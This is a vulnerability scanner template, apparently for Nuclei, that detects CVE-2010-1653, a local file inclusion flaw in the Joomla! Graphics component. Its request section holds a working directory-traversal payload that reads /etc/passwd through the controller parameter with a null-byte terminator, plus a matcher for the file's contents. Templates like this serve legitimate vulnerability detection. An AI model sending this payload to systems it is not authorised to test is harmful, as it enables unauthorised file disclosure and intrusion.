id: CVE-2010-1653

info:
  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.
  remediation: |
    Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12430
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1653
    - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1004
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1653
    cwe-id: CWE-22
    epss-score: 0.03527
    epss-percentile: 0.91571
    cpe: cpe:2.3:a:htmlcoderhelper:com_graphics:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: htmlcoderhelper
    product: com_graphics
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,htmlcoderhelper

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a21d6c54deadb9f4b2f6e38eecd0989c9f61f230cb1c233c9a1747219bd1dea022100b2a201fd771bfa170b2e8c07a67527a7409d1b5f5008cd02558e3825186aae0a:922c64590222798bb761d5b6d8e72950